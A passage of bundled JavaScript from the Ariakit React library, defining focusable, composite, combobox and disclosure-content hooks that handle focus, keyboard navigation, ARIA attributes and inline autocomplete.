props.onKeyPressCapture,
disabled
);
const onMouseDownCapture = useDisableEvent(
props.onMouseDownCapture,
disabled
);
const onClickCapture = useDisableEvent(props.onClickCapture, disabled);
const onMouseDownProp = props.onMouseDown;
const onMouseDown = useEvent((event) => {
onMouseDownProp == null ? void 0 : onMouseDownProp(event);
if (event.defaultPrevented) return;
if (!focusable) return;
const element = event.currentTarget;
if (!isSafariBrowser) return;
if (isPortalEvent(event)) return;
if (!isButton(element) && !isNativeCheckboxOrRadio(element)) return;
let receivedFocus = false;
const onFocus = () => {
receivedFocus = true;
};
const options = { capture: true, once: true };
element.addEventListener("focusin", onFocus, options);
const focusableContainer = getClosestFocusable(element.parentElement);
markSafariFocusAncestor(focusableContainer, true);
queueBeforeEvent(element, "mouseup", () => {
element.removeEventListener("focusin", onFocus, true);
markSafariFocusAncestor(focusableContainer, false);
if (receivedFocus) return;
focusIfNeeded(element);
});
});
const handleFocusVisible = (event, currentTarget) => {
if (currentTarget) {
event.currentTarget = currentTarget;
}
if (!focusable) return;
const element = event.currentTarget;
if (!element) return;
if (!hasFocus(element)) return;
onFocusVisible == null ? void 0 : onFocusVisible(event);
if (event.defaultPrevented) return;
element.dataset.focusVisible = "true";
setFocusVisible(true);
};
const onKeyDownCaptureProp = props.onKeyDownCapture;
const onKeyDownCapture = useEvent((event) => {
onKeyDownCaptureProp == null ? void 0 : onKeyDownCaptureProp(event);
if (event.defaultPrevented) return;
if (!focusable) return;
if (focusVisible) return;
if (event.metaKey) return;
if (event.altKey) return;
if (event.ctrlKey) return;
if (!isSelfTarget(event)) return;
const element = event.currentTarget;
const applyFocusVisible = () => handleFocusVisible(event, element);
queueBeforeEvent(element, "focusout", applyFocusVisible);
});
const onFocusCaptureProp = props.onFocusCapture;
const onFocusCapture = useEvent((event) => {
onFocusCaptureProp == null ? void 0 : onFocusCaptureProp(event);
if (event.defaultPrevented) return;
if (!focusable) return;
if (!isSelfTarget(event)) {
setFocusVisible(false);
return;
}
const element = event.currentTarget;
const applyFocusVisible = () => handleFocusVisible(event, element);
if (isKeyboardModality || isAlwaysFocusVisible(event.target)) {
queueBeforeEvent(event.target, "focusout", applyFocusVisible);
} else {
setFocusVisible(false);
}
});
const onBlurProp = props.onBlur;
const onBlur = useEvent((event) => {
onBlurProp == null ? void 0 : onBlurProp(event);
if (!focusable) return;
if (!isFocusEventOutside(event)) return;
setFocusVisible(false);
});
const autoFocusOnShow = (0,external_React_.useContext)(FocusableContext);
const autoFocusRef = useEvent((element) => {
if (!focusable) return;
if (!autoFocus) return;
if (!element) return;
if (!autoFocusOnShow) return;
queueMicrotask(() => {
if (hasFocus(element)) return;
if (!isFocusable(element)) return;
element.focus();
});
});
const tagName = useTagName(ref);
const nativeTabbable = focusable && isNativeTabbable(tagName);
const supportsDisabled = focusable && supportsDisabledAttribute(tagName);
const styleProp = props.style;
const style = (0,external_React_.useMemo)(() => {
if (trulyDisabled) {
return _3YLGPPWQ_spreadValues({ pointerEvents: "none" }, styleProp);
}
return styleProp;
}, [trulyDisabled, styleProp]);
props = _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({
"data-focus-visible": focusable && focusVisible || void 0,
"data-autofocus": autoFocus || void 0,
"aria-disabled": disabled || void 0
}, props), {
ref: useMergeRefs(ref, autoFocusRef, props.ref),
style,
tabIndex: getTabIndex(
focusable,
trulyDisabled,
nativeTabbable,
supportsDisabled,
props.tabIndex
),
disabled: supportsDisabled && trulyDisabled ? true : void 0,
// TODO: Test Focusable contentEditable.
contentEditable: disabled ? void 0 : props.contentEditable,
onKeyPressCapture,
onClickCapture,
onMouseDownCapture,
onMouseDown,
onKeyDownCapture,
onFocusCapture,
onBlur
});
return removeUndefinedValues(props);
}
);
var Focusable = forwardRef2(function Focusable2(props) {
const htmlProps = useFocusable(props);
return createElement(LVA2YJMS_TagName, htmlProps);
});
;// ./node_modules/@ariakit/react-core/esm/__chunks/ITI7HKP4.js
"use client";
// src/composite/composite.tsx
var ITI7HKP4_TagName = "div";
function isGrid(items) {
return items.some((item) => !!item.rowId);
}
function isPrintableKey(event) {
const target = event.target;
if (target && !isTextField(target)) return false;
return event.key.length === 1 && !event.ctrlKey && !event.metaKey;
}
function isModifierKey(event) {
return event.key === "Shift" || event.key === "Control" || event.key === "Alt" || event.key === "Meta";
}
function useKeyboardEventProxy(store, onKeyboardEvent, previousElementRef) {
return useEvent((event) => {
var _a;
onKeyboardEvent == null ? void 0 : onKeyboardEvent(event);
if (event.defaultPrevented) return;
if (event.isPropagationStopped()) return;
if (!isSelfTarget(event)) return;
if (isModifierKey(event)) return;
if (isPrintableKey(event)) return;
const state = store.getState();
const activeElement = (_a = getEnabledItem(store, state.activeId)) == null ? void 0 : _a.element;
if (!activeElement) return;
const _b = event, { view } = _b, eventInit = __objRest(_b, ["view"]);
const previousElement = previousElementRef == null ? void 0 : previousElementRef.current;
if (activeElement !== previousElement) {
activeElement.focus();
}
if (!fireKeyboardEvent(activeElement, event.type, eventInit)) {
event.preventDefault();
}
if (event.currentTarget.contains(activeElement)) {
event.stopPropagation();
}
});
}
function findFirstEnabledItemInTheLastRow(items) {
return _5VQZOHHZ_findFirstEnabledItem(
flatten2DArray(reverseArray(_5VQZOHHZ_groupItemsByRows(items)))
);
}
function useScheduleFocus(store) {
const [scheduled, setScheduled] = (0,external_React_.useState)(false);
const schedule = (0,external_React_.useCallback)(() => setScheduled(true), []);
const activeItem = store.useState(
(state) => getEnabledItem(store, state.activeId)
);
(0,external_React_.useEffect)(() => {
const activeElement = activeItem == null ? void 0 : activeItem.element;
if (!scheduled) return;
if (!activeElement) return;
setScheduled(false);
activeElement.focus({ preventScroll: true });
}, [activeItem, scheduled]);
return schedule;
}
var useComposite = createHook(
function useComposite2(_a) {
var _b = _a, {
store,
composite = true,
focusOnMove = composite,
moveOnKeyPress = true
} = _b, props = __objRest(_b, [
"store",
"composite",
"focusOnMove",
"moveOnKeyPress"
]);
const context = useCompositeProviderContext();
store = store || context;
invariant(
store,
false && 0
);
const ref = (0,external_React_.useRef)(null);
const previousElementRef = (0,external_React_.useRef)(null);
const scheduleFocus = useScheduleFocus(store);
const moves = store.useState("moves");
const [, setBaseElement] = useTransactionState(
composite ? store.setBaseElement : null
);
(0,external_React_.useEffect)(() => {
var _a2;
if (!store) return;
if (!moves) return;
if (!composite) return;
if (!focusOnMove) return;
const { activeId: activeId2 } = store.getState();
const itemElement = (_a2 = getEnabledItem(store, activeId2)) == null ? void 0 : _a2.element;
if (!itemElement) return;
focusIntoView(itemElement);
}, [store, moves, composite, focusOnMove]);
useSafeLayoutEffect(() => {
if (!store) return;
if (!moves) return;
if (!composite) return;
const { baseElement, activeId: activeId2 } = store.getState();
const isSelfAcive = activeId2 === null;
if (!isSelfAcive) return;
if (!baseElement) return;
const previousElement = previousElementRef.current;
previousElementRef.current = null;
if (previousElement) {
fireBlurEvent(previousElement, { relatedTarget: baseElement });
}
if (!hasFocus(baseElement)) {
baseElement.focus();
}
}, [store, moves, composite]);
const activeId = store.useState("activeId");
const virtualFocus = store.useState("virtualFocus");
useSafeLayoutEffect(() => {
var _a2;
if (!store) return;
if (!composite) return;
if (!virtualFocus) return;
const previousElement = previousElementRef.current;
previousElementRef.current = null;
if (!previousElement) return;
const activeElement = (_a2 = getEnabledItem(store, activeId)) == null ? void 0 : _a2.element;
const relatedTarget = activeElement || DTR5TSDJ_getActiveElement(previousElement);
if (relatedTarget === previousElement) return;
fireBlurEvent(previousElement, { relatedTarget });
}, [store, activeId, virtualFocus, composite]);
const onKeyDownCapture = useKeyboardEventProxy(
store,
props.onKeyDownCapture,
previousElementRef
);
const onKeyUpCapture = useKeyboardEventProxy(
store,
props.onKeyUpCapture,
previousElementRef
);
const onFocusCaptureProp = props.onFocusCapture;
const onFocusCapture = useEvent((event) => {
onFocusCaptureProp == null ? void 0 : onFocusCaptureProp(event);
if (event.defaultPrevented) return;
if (!store) return;
const { virtualFocus: virtualFocus2 } = store.getState();
if (!virtualFocus2) return;
const previousActiveElement = event.relatedTarget;
const isSilentlyFocused = silentlyFocused(event.currentTarget);
if (isSelfTarget(event) && isSilentlyFocused) {
event.stopPropagation();
previousElementRef.current = previousActiveElement;
}
});
const onFocusProp = props.onFocus;
const onFocus = useEvent((event) => {
onFocusProp == null ? void 0 : onFocusProp(event);
if (event.defaultPrevented) return;
if (!composite) return;
if (!store) return;
const { relatedTarget } = event;
const { virtualFocus: virtualFocus2 } = store.getState();
if (virtualFocus2) {
if (isSelfTarget(event) && !isItem(store, relatedTarget)) {
queueMicrotask(scheduleFocus);
}
} else if (isSelfTarget(event)) {
store.setActiveId(null);
}
});
const onBlurCaptureProp = props.onBlurCapture;
const onBlurCapture = useEvent((event) => {
var _a2;
onBlurCaptureProp == null ? void 0 : onBlurCaptureProp(event);
if (event.defaultPrevented) return;
if (!store) return;
const { virtualFocus: virtualFocus2, activeId: activeId2 } = store.getState();
if (!virtualFocus2) return;
const activeElement = (_a2 = getEnabledItem(store, activeId2)) == null ? void 0 : _a2.element;
const nextActiveElement = event.relatedTarget;
const nextActiveElementIsItem = isItem(store, nextActiveElement);
const previousElement = previousElementRef.current;
previousElementRef.current = null;
if (isSelfTarget(event) && nextActiveElementIsItem) {
if (nextActiveElement === activeElement) {
if (previousElement && previousElement !== nextActiveElement) {
fireBlurEvent(previousElement, event);
}
} else if (activeElement) {
fireBlurEvent(activeElement, event);
} else if (previousElement) {
fireBlurEvent(previousElement, event);
}
event.stopPropagation();
} else {
const targetIsItem = isItem(store, event.target);
if (!targetIsItem && activeElement) {
fireBlurEvent(activeElement, event);
}
}
});
const onKeyDownProp = props.onKeyDown;
const moveOnKeyPressProp = useBooleanEvent(moveOnKeyPress);
const onKeyDown = useEvent((event) => {
var _a2;
onKeyDownProp == null ? void 0 : onKeyDownProp(event);
if (event.defaultPrevented) return;
if (!store) return;
if (!isSelfTarget(event)) return;
const { orientation, renderedItems, activeId: activeId2 } = store.getState();
const activeItem = getEnabledItem(store, activeId2);
if ((_a2 = activeItem == null ? void 0 : activeItem.element) == null ? void 0 : _a2.isConnected) return;
const isVertical = orientation !== "horizontal";
const isHorizontal = orientation !== "vertical";
const grid = isGrid(renderedItems);
const isHorizontalKey = event.key === "ArrowLeft" || event.key === "ArrowRight" || event.key === "Home" || event.key === "End";
if (isHorizontalKey && isTextField(event.currentTarget)) return;
const up = () => {
if (grid) {
const item = findFirstEnabledItemInTheLastRow(renderedItems);
return item == null ? void 0 : item.id;
}
return store == null ? void 0 : store.last();
};
const keyMap = {
ArrowUp: (grid || isVertical) && up,
ArrowRight: (grid || isHorizontal) && store.first,
ArrowDown: (grid || isVertical) && store.first,
ArrowLeft: (grid || isHorizontal) && store.last,
Home: store.first,
End: store.last,
PageUp: store.first,
PageDown: store.last
};
const action = keyMap[event.key];
if (action) {
const id = action();
if (id !== void 0) {
if (!moveOnKeyPressProp(event)) return;
event.preventDefault();
store.move(id);
}
}
});
props = useWrapElement(
props,
(element) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(CompositeContextProvider, { value: store, children: element }),
[store]
);
const activeDescendant = store.useState((state) => {
var _a2;
if (!store) return;
if (!composite) return;
if (!state.virtualFocus) return;
return (_a2 = getEnabledItem(store, state.activeId)) == null ? void 0 : _a2.id;
});
props = _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({
"aria-activedescendant": activeDescendant
}, props), {
ref: useMergeRefs(ref, setBaseElement, props.ref),
onKeyDownCapture,
onKeyUpCapture,
onFocusCapture,
onFocus,
onBlurCapture,
onKeyDown
});
const focusable = store.useState(
(state) => composite && (state.virtualFocus || state.activeId === null)
);
props = useFocusable(_3YLGPPWQ_spreadValues({ focusable }, props));
return props;
}
);
var Composite = forwardRef2(function Composite2(props) {
const htmlProps = useComposite(props);
return createElement(ITI7HKP4_TagName, htmlProps);
});
;// ./node_modules/@ariakit/react-core/esm/combobox/combobox.js
"use client";
// src/combobox/combobox.tsx
var combobox_TagName = "input";
function isFirstItemAutoSelected(items, activeValue, autoSelect) {
if (!autoSelect) return false;
const firstItem = items.find((item) => !item.disabled && item.value);
return (firstItem == null ? void 0 : firstItem.value) === activeValue;
}
function hasCompletionString(value, activeValue) {
if (!activeValue) return false;
if (value == null) return false;
value = PBFD2E7P_normalizeString(value);
return activeValue.length > value.length && activeValue.toLowerCase().indexOf(value.toLowerCase()) === 0;
}
function isInputEvent(event) {
return event.type === "input";
}
function isAriaAutoCompleteValue(value) {
return value === "inline" || value === "list" || value === "both" || value === "none";
}
function getDefaultAutoSelectId(items) {
const item = items.find((item2) => {
var _a;
if (item2.disabled) return false;
return ((_a = item2.element) == null ? void 0 : _a.getAttribute("role")) !== "tab";
});
return item == null ? void 0 : item.id;
}
var useCombobox = createHook(
function useCombobox2(_a) {
var _b = _a, {
store,
focusable = true,
autoSelect: autoSelectProp = false,
getAutoSelectId,
setValueOnChange,
showMinLength = 0,
showOnChange,
showOnMouseDown,
showOnClick = showOnMouseDown,
showOnKeyDown,
showOnKeyPress = showOnKeyDown,
blurActiveItemOnClick,
setValueOnClick = true,
moveOnKeyPress = true,
autoComplete = "list"
} = _b, props = __objRest(_b, [
"store",
"focusable",
"autoSelect",
"getAutoSelectId",
"setValueOnChange",
"showMinLength",
"showOnChange",
"showOnMouseDown",
"showOnClick",
"showOnKeyDown",
"showOnKeyPress",
"blurActiveItemOnClick",
"setValueOnClick",
"moveOnKeyPress",
"autoComplete"
]);
const context = useComboboxProviderContext();
store = store || context;
invariant(
store,
false && 0
);
const ref = (0,external_React_.useRef)(null);
const [valueUpdated, forceValueUpdate] = useForceUpdate();
const canAutoSelectRef = (0,external_React_.useRef)(false);
const composingRef = (0,external_React_.useRef)(false);
const autoSelect = store.useState(
(state) => state.virtualFocus && autoSelectProp
);
const inline = autoComplete === "inline" || autoComplete === "both";
const [canInline, setCanInline] = (0,external_React_.useState)(inline);
useUpdateLayoutEffect(() => {
if (!inline) return;
setCanInline(true);
}, [inline]);
const storeValue = store.useState("value");
const prevSelectedValueRef = (0,external_React_.useRef)();
(0,external_React_.useEffect)(() => {
return sync(store, ["selectedValue", "activeId"], (_, prev) => {
prevSelectedValueRef.current = prev.selectedValue;
});
}, []);
const inlineActiveValue = store.useState((state) => {
var _a2;
if (!inline) return;
if (!canInline) return;
if (state.activeValue && Array.isArray(state.selectedValue)) {
if (state.selectedValue.includes(state.activeValue)) return;
if ((_a2 = prevSelectedValueRef.current) == null ? void 0 : _a2.includes(state.activeValue)) return;
}
return state.activeValue;
});
const items = store.useState("renderedItems");
const open = store.useState("open");
const contentElement = store.useState("contentElement");
const value = (0,external_React_.useMemo)(() => {
if (!inline) return storeValue;
if (!canInline) return storeValue;
const firstItemAutoSelected = isFirstItemAutoSelected(
items,
inlineActiveValue,
autoSelect
);
if (firstItemAutoSelected) {
if (hasCompletionString(storeValue, inlineActiveValue)) {
const slice = (inlineActiveValue == null ? void 0 : inlineActiveValue.slice(storeValue.length)) || "";
return storeValue + slice;
}
return storeValue;
}
return inlineActiveValue || storeValue;
}, [inline, canInline, items, inlineActiveValue, autoSelect, storeValue]);
(0,external_React_.useEffect)(() => {
const element = ref.current;
if (!element) return;
const onCompositeItemMove = () => setCanInline(true);
element.addEventListener("combobox-item-move", onCompositeItemMove);
return () => {
element.removeEventListener("combobox-item-move", onCompositeItemMove);
};
}, []);
(0,external_React_.useEffect)(() => {
if (!inline) return;
if (!canInline) return;
if (!inlineActiveValue) return;
const firstItemAutoSelected = isFirstItemAutoSelected(
items,
inlineActiveValue,
autoSelect
);
if (!firstItemAutoSelected) return;
if (!hasCompletionString(storeValue, inlineActiveValue)) return;
let cleanup = PBFD2E7P_noop;
queueMicrotask(() => {
const element = ref.current;
if (!element) return;
const { start: prevStart, end: prevEnd } = getTextboxSelection(element);
const nextStart = storeValue.length;
const nextEnd = inlineActiveValue.length;
setSelectionRange(element, nextStart, nextEnd);
cleanup = () => {
if (!hasFocus(element)) return;
const { start, end } = getTextboxSelection(element);
if (start !== nextStart) return;
if (end !== nextEnd) return;
setSelectionRange(element, prevStart, prevEnd);
};
});
return () => cleanup();
}, [
valueUpdated,
inline,
canInline,
inlineActiveValue,
items,
autoSelect,
storeValue
]);
const scrollingElementRef = (0,external_React_.useRef)(null);
const getAutoSelectIdProp = useEvent(getAutoSelectId);
const autoSelectIdRef = (0,external_React_.useRef)(null);
(0,external_React_.useEffect)(() => {
if (!open) return;
if (!contentElement) return;
const scrollingElement = getScrollingElement(contentElement);
if (!scrollingElement) return;
scrollingElementRef.current = scrollingElement;
const onUserScroll = () => {
canAutoSelectRef.current = false;
};
const onScroll = () => {
if (!store) return;
if (!canAutoSelectRef.current) return;
const { activeId } = store.getState();
if (activeId === null) return;
if (activeId === autoSelectIdRef.current) return;
canAutoSelectRef.current = false;
};
const options = { passive: true, capture: true };
scrollingElement.addEventListener("wheel", onUserScroll, options);
scrollingElement.addEventListener("touchmove", onUserScroll, options);
scrollingElement.addEventListener("scroll", onScroll, options);
return () => {
scrollingElement.removeEventListener("wheel", onUserScroll, true);
scrollingElement.removeEventListener("touchmove", onUserScroll, true);
scrollingElement.removeEventListener("scroll", onScroll, true);
};
}, [open, contentElement, store]);
useSafeLayoutEffect(() => {
if (!storeValue) return;
if (composingRef.current) return;
canAutoSelectRef.current = true;
}, [storeValue]);
useSafeLayoutEffect(() => {
if (autoSelect !== "always" && open) return;
canAutoSelectRef.current = open;
}, [autoSelect, open]);
const resetValueOnSelect = store.useState("resetValueOnSelect");
useUpdateEffect(() => {
var _a2, _b2;
const canAutoSelect = canAutoSelectRef.current;
if (!store) return;
if (!open) return;
if (!canAutoSelect && !resetValueOnSelect) return;
const { baseElement, contentElement: contentElement2, activeId } = store.getState();
if (baseElement && !hasFocus(baseElement)) return;
if (contentElement2 == null ? void 0 : contentElement2.hasAttribute("data-placing")) {
const observer = new MutationObserver(forceValueUpdate);
observer.observe(contentElement2, { attributeFilter: ["data-placing"] });
return () => observer.disconnect();
}
if (autoSelect && canAutoSelect) {
const userAutoSelectId = getAutoSelectIdProp(items);
const autoSelectId = userAutoSelectId !== void 0 ? userAutoSelectId : (_a2 = getDefaultAutoSelectId(items)) != null ? _a2 : store.first();
autoSelectIdRef.current = autoSelectId;
store.move(autoSelectId != null ? autoSelectId : null);
} else {
const element = (_b2 = store.item(activeId || store.first())) == null ? void 0 : _b2.element;
if (element && "scrollIntoView" in element) {
element.scrollIntoView({ block: "nearest", inline: "nearest" });
}
}
return;
}, [
store,
open,
valueUpdated,
storeValue,
autoSelect,
resetValueOnSelect,
getAutoSelectIdProp,
items
]);
(0,external_React_.useEffect)(() => {
if (!inline) return;
const combobox = ref.current;
if (!combobox) return;
const elements = [combobox, contentElement].filter(
(value2) => !!value2
);
const onBlur2 = (event) => {
if (elements.every((el) => isFocusEventOutside(event, el))) {
store == null ? void 0 : store.setValue(value);
}
};
for (const element of elements) {
element.addEventListener("focusout", onBlur2);
}
return () => {
for (const element of elements) {
element.removeEventListener("focusout", onBlur2);
}
};
}, [inline, contentElement, store, value]);
const canShow = (event) => {
const currentTarget = event.currentTarget;
return currentTarget.value.length >= showMinLength;
};
const onChangeProp = props.onChange;
const showOnChangeProp = useBooleanEvent(showOnChange != null ? showOnChange : canShow);
const setValueOnChangeProp = useBooleanEvent(
// If the combobox is combined with tags, the value will be set by the tag
// input component.
setValueOnChange != null ? setValueOnChange : !store.tag
);
const onChange = useEvent((event) => {
onChangeProp == null ? void 0 : onChangeProp(event);
if (event.defaultPrevented) return;
if (!store) return;
const currentTarget = event.currentTarget;
const { value: value2, selectionStart, selectionEnd } = currentTarget;
const nativeEvent = event.nativeEvent;
canAutoSelectRef.current = true;
if (isInputEvent(nativeEvent)) {
if (nativeEvent.isComposing) {
canAutoSelectRef.current = false;
composingRef.current = true;
}
if (inline) {
const textInserted = nativeEvent.inputType === "insertText" || nativeEvent.inputType === "insertCompositionText";
const caretAtEnd = selectionStart === value2.length;
setCanInline(textInserted && caretAtEnd);
}
}
if (setValueOnChangeProp(event)) {
const isSameValue = value2 === store.getState().value;
store.setValue(value2);
queueMicrotask(() => {
setSelectionRange(currentTarget, selectionStart, selectionEnd);
});
if (inline && autoSelect && isSameValue) {
forceValueUpdate();
}
}
if (showOnChangeProp(event)) {
store.show();
}
if (!autoSelect || !canAutoSelectRef.current) {
store.setActiveId(null);
}
});
const onCompositionEndProp = props.onCompositionEnd;
const onCompositionEnd = useEvent((event) => {
canAutoSelectRef.current = true;
composingRef.current = false;
onCompositionEndProp == null ? void 0 : onCompositionEndProp(event);
if (event.defaultPrevented) return;
if (!autoSelect) return;
forceValueUpdate();
});
const onMouseDownProp = props.onMouseDown;
const blurActiveItemOnClickProp = useBooleanEvent(
blurActiveItemOnClick != null ? blurActiveItemOnClick : () => !!(store == null ? void 0 : store.getState().includesBaseElement)
);
const setValueOnClickProp = useBooleanEvent(setValueOnClick);
const showOnClickProp = useBooleanEvent(showOnClick != null ? showOnClick : canShow);
const onMouseDown = useEvent((event) => {
onMouseDownProp == null ? void 0 : onMouseDownProp(event);
if (event.defaultPrevented) return;
if (event.button) return;
if (event.ctrlKey) return;
if (!store) return;
if (blurActiveItemOnClickProp(event)) {
store.setActiveId(null);
}
if (setValueOnClickProp(event)) {
store.setValue(value);
}
if (showOnClickProp(event)) {
queueBeforeEvent(event.currentTarget, "mouseup", store.show);
}
});
const onKeyDownProp = props.onKeyDown;
const showOnKeyPressProp = useBooleanEvent(showOnKeyPress != null ? showOnKeyPress : canShow);
const onKeyDown = useEvent((event) => {
onKeyDownProp == null ? void 0 : onKeyDownProp(event);
if (!event.repeat) {
canAutoSelectRef.current = false;
}
if (event.defaultPrevented) return;
if (event.ctrlKey) return;
if (event.altKey) return;
if (event.shiftKey) return;
if (event.metaKey) return;
if (!store) return;
const { open: open2 } = store.getState();
if (open2) return;
if (event.key === "ArrowUp" || event.key === "ArrowDown") {
if (showOnKeyPressProp(event)) {
event.preventDefault();
store.show();
}
}
});
const onBlurProp = props.onBlur;
const onBlur = useEvent((event) => {
canAutoSelectRef.current = false;
onBlurProp == null ? void 0 : onBlurProp(event);
if (event.defaultPrevented) return;
});
const id = useId(props.id);
const ariaAutoComplete = isAriaAutoCompleteValue(autoComplete) ? autoComplete : void 0;
const isActiveItem = store.useState((state) => state.activeId === null);
props = _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({
id,
role: "combobox",
"aria-autocomplete": ariaAutoComplete,
"aria-haspopup": getPopupRole(contentElement, "listbox"),
"aria-expanded": open,
"aria-controls": contentElement == null ? void 0 : contentElement.id,
"data-active-item": isActiveItem || void 0,
value
}, props), {
ref: useMergeRefs(ref, props.ref),
onChange,
onCompositionEnd,
onMouseDown,
onKeyDown,
onBlur
});
props = useComposite(_3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({
store,
focusable
}, props), {
// Enable inline autocomplete when the user moves from the combobox input
// to an item.
moveOnKeyPress: (event) => {
if (isFalsyBooleanCallback(moveOnKeyPress, event)) return false;
if (inline) setCanInline(true);
return true;
}
}));
props = usePopoverAnchor(_3YLGPPWQ_spreadValues({ store }, props));
return _3YLGPPWQ_spreadValues({ autoComplete: "off" }, props);
}
);
var Combobox = forwardRef2(function Combobox2(props) {
const htmlProps = useCombobox(props);
return createElement(combobox_TagName, htmlProps);
});
;// ./node_modules/@ariakit/react-core/esm/__chunks/VGCJ63VH.js
"use client";
// src/disclosure/disclosure-content.tsx
var VGCJ63VH_TagName = "div";
function afterTimeout(timeoutMs, cb) {
const timeoutId = setTimeout(cb, timeoutMs);
return () => clearTimeout(timeoutId);
}
function VGCJ63VH_afterPaint(cb) {
let raf = requestAnimationFrame(() => {
raf = requestAnimationFrame(cb);
});
return () => cancelAnimationFrame(raf);
}
function parseCSSTime(...times) {
return times.join(", ").split(", ").reduce((longestTime, currentTimeString) => {
const multiplier = currentTimeString.endsWith("ms") ? 1 : 1e3;
const currentTime = Number.parseFloat(currentTimeString || "0s") * multiplier;
if (currentTime > longestTime) return currentTime;
return longestTime;
}, 0);
}
function isHidden(mounted, hidden, alwaysVisible) {
return !alwaysVisible && hidden !== false && (!mounted || !!hidden);
}
var useDisclosureContent = createHook(function useDisclosureContent2(_a) {
var _b = _a, { store, alwaysVisible } = _b, props = __objRest(_b, ["store", "alwaysVisible"]);
const context = useDisclosureProviderContext();
store = store || context;
invariant(
store,
false && 0
);
const ref = (0,external_React_.useRef)(null);
const id = useId(props.id);
const [transition, setTransition] = (0,external_React_.useState)(null);
const open = store.useState("open");
const mounted = store.useState("mounted");
const animated = store.useState("animated");
const contentElement = store.useState("contentElement");
const otherElement = useStoreState(store.disclosure, "contentElement");
useSafeLayoutEffect(() => {
if (!ref.current) return;
store == null ? void 0 : store.setContentElement(ref.current);
}, [store]);
useSafeLayoutEffect(() => {
let previousAnimated;
store == null ? void 0 : store.setState("animated", (animated2) => {
previousAnimated = animated2;
return true;
});
return () => {
if (previousAnimated === void 0) return;
store == null ? void 0 : store.setState("animated", previousAnimated);
};
}, [store]);
useSafeLayoutEffect(() => {
if (!animated) return;
if (!(contentElement == null ? void 0 : contentElement.isConnected)) {
setTransition(null);
return;
}
return VGCJ63VH_afterPaint(() => {
setTransition(open ? "enter" : mounted ? "leave" : null);
});
}, [animated, contentElement, open, mounted]);
useSafeLayoutEffect(() => {
if (!store) return;
if (!animated) return;
if (!transition) return;
if (!contentElement) return;
const stopAnimation = () => store == null ? void 0 : store.setState("animating", false);
const stopAnimationSync = () => (0,external_ReactDOM_namespaceObject.flushSync)(stopAnimation);
if (transition === "leave" && open) return;
if (transition === "enter" && !open) return;
if (typeof animated === "number") {
const timeout2 = animated;
return afterTimeout(timeout2, stopAnimationSync);
}
const {
transitionDuration,
animationDuration,
transitionDelay,
animationDelay
} = getComputedStyle(contentElement);
const {
transitionDuration: transitionDuration2 = "0",
animationDuration: animationDuration2 = "0",
transitionDelay: transitionDelay2 = "0",
animationDelay: animationDelay2 = "0"
} = otherElement ? getComputedStyle(otherElement) : {};
const delay = parseCSSTime(
transitionDelay,
animationDelay,
transitionDelay2,
animationDelay2
);
const duration = parseCSSTime(
transitionDuration,
animationDuration,
transitionDuration2,
animationDuration2
);
const timeout = delay + duration;
if (!timeout) {
if (transition === "enter") {
store.setState("animated", false);
}
stopAnimation();
return;
}
const frameRate = 1e3 / 60;
const maxTimeout = Math.max(timeout - frameRate, 0);
return afterTimeout(maxTimeout, stopAnimationSync);
}, [store, animated, contentElement, otherElement, open, transition]);
props = useWrapElement(
props,
(element) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(DialogScopedContextProvider, { value: store, children: element }),
[store]
);
const hidden = isHidden(mounted, props.hidden, alwaysVisible);
const styleProp = props.style;
const style = (0,external_React_.useMemo)(() => {
if (hidden) {
return _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, styleProp), { display: "none" });
}
return styleProp;
}, [hidden, styleProp]);
props = _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({
id,
"data-open": open || void 0,
"data-enter": transition === "enter" || void 0,
"data-leave": transition === "leave" || void 0,
hidden
}, props), {
ref: useMergeRefs(id ? store.setContentElement : null, ref, props.ref),
style
});
return removeUndefinedValues(props);
});
var DisclosureContentImpl = forwardRef2(function DisclosureContentImpl2(props) {
const htmlProps = useDisclosureContent(props);
return createElement(VGCJ63VH_TagName, htmlProps);
});
var DisclosureContent = forwardRef2(function DisclosureContent2(_a) {
var _b = _a, {
unmountOnHide
} = _b, props = __objRest(_b, [
"unmountOnHide"
]);
const context = useDisclosureProviderContext();
const store = props.store || context;
const mounted = useStoreState(
store,
(state) => !unmountOnHide || (state == null ? void 0 : state.mounted)
);
if (mounted === false) return null;
return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(DisclosureContentImpl, _3YLGPPWQ_spreadValues({}, props));
});
;// ./node_modules/@ariakit/react-core/esm/__chunks/HUWAI7RB.js
"use client";
// src/combobox/combobox-list.tsx
var HUWAI7RB_TagName = "div";
var useComboboxList = createHook(
function useComboboxList2(_a) {
var _b = _a, { store, alwaysVisible } = _b, props = __objRest(_b, ["store", "alwaysVisible"]);
const scopedContext = useComboboxScopedContext(true);
const context = useComboboxContext();
store = store || context;
const scopedContextSameStore = !!store && store === scopedContext;
invariant(
store,
false && 0
);
const ref = (0,external_React_.useRef)(null);
const id = useId(props.id);
const mounted = store.useState("mounted");
const hidden = isHidden(mounted, props.hidden, alwaysVisible);
const style = hidden ? _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, props.style), { display: "none" }) : props.style;
const multiSelectable = store.useState(
(state) => Array.isArray(state.selectedValue)
);
const role = useAttribute(ref, "role", props.role);
const isCompositeRole = role === "listbox" || role === "tree" || role === "grid";
const ariaMultiSelectable = isCompositeRole ? multiSelectable || void 0 : void 0;
const [hasListboxInside, setHasListboxInside] = (0,external_React_.useState)(false);
const contentElement = store.useState("contentElement");
useSafeLayoutEffect(() => {
if (!mounted) return;
const element = ref.current;
if (!element) return;
if (contentElement !== element) return;
const callback = () => {
setHasListboxInside(!!element.querySelector("[role='listbox']"));
};
const observer = new MutationObserver(callback);
observer.observe(element, {
subtree: true,
childList: true,
attributeFilter: ["role"]
});
callback();
return () => observer.disconnect();
}, [mounted, contentElement]);
if (!hasListboxInside) {
props = _3YLGPPWQ_spreadValues({
role: "listbox",
"aria-multiselectable": ariaMultiSelectable
}, props);
}
props = useWrapElement(
props,
